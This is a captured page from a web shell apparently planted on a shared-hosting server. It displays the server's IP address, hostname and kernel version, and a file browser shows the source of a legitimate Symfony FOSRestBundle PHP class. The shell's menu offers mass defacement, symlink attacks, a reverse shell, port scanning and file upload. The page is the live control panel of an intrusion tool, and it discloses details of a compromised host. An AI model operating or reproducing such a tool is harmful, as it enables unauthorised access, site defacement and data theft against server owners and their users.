ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Form
/
Extension
/
Viewing: DisableCSRFExtension.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Form\Extension; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\AbstractTypeExtension; use Symfony\Component\Form\Extension\Core\Type\FormType; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface; /** * Class DisableCSRFExtension. * * @author Grégoire Pineau */ class DisableCSRFExtension extends AbstractTypeExtension { /** * @var TokenStorageInterface */ private $tokenStorage; /** * @var string */ private $role; /** * @var AuthorizationCheckerInterface */ private $authorizationChecker; public function __construct(TokenStorageInterface $tokenStorage, $role, AuthorizationCheckerInterface $authorizationChecker) { $this->tokenStorage = $tokenStorage; $this->role = $role; $this->authorizationChecker = $authorizationChecker; } public function configureOptions(OptionsResolver $resolver) { if (!$this->tokenStorage->getToken()) { return; } if (!$this->authorizationChecker->isGranted($this->role)) { return; } $resolver->setDefaults([ 'csrf_protection' => false, ]); } public function getExtendedType() { return method_exists(AbstractType::class, 'getBlockPrefix') ? FormType::class : 'form' // SF <2.8 BC ; } }
Coded With 💗 by
0x6ick